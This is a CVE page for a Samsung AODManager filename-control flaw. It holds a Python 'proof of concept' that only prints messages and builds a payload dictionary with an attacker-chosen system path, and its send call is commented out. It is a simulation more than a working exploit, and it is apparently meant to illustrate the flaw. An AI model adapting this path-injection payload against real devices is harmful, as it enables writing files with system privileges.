CVE-2026-21012 三星AODManager文件名外部控制漏洞

import os # Proof of Concept for CVE-2026-21012 # This script simulates the vulnerability where a local low-privileged user # triggers a file creation with system privileges via AODManager. MALICIOUS_PATH = "/data/system/poc_file.txt" def trigger_exploit(): print("[*] CVE-2026-21012 PoC Trigger") print(f"[*] Attempting to create file: {MALICIOUS_PATH}") # In a real exploitation scenario, the attacker would interact with the # AODManager service interface (e.g., via AIDL or Intent) that accepts # a filename parameter without proper sanitization. # Simulating the payload construction payload = { "action": "update_config", "filename": MALICIOUS_PATH, # Controlled by attacker "data": "Exploited by CVE-2026-21012" } print("[+] Payload constructed:", payload) # send_payload_to_aodmanager(payload) print("[*] If vulnerable, file is created with System privileges.") if __name__ == "__main__": trigger_exploit()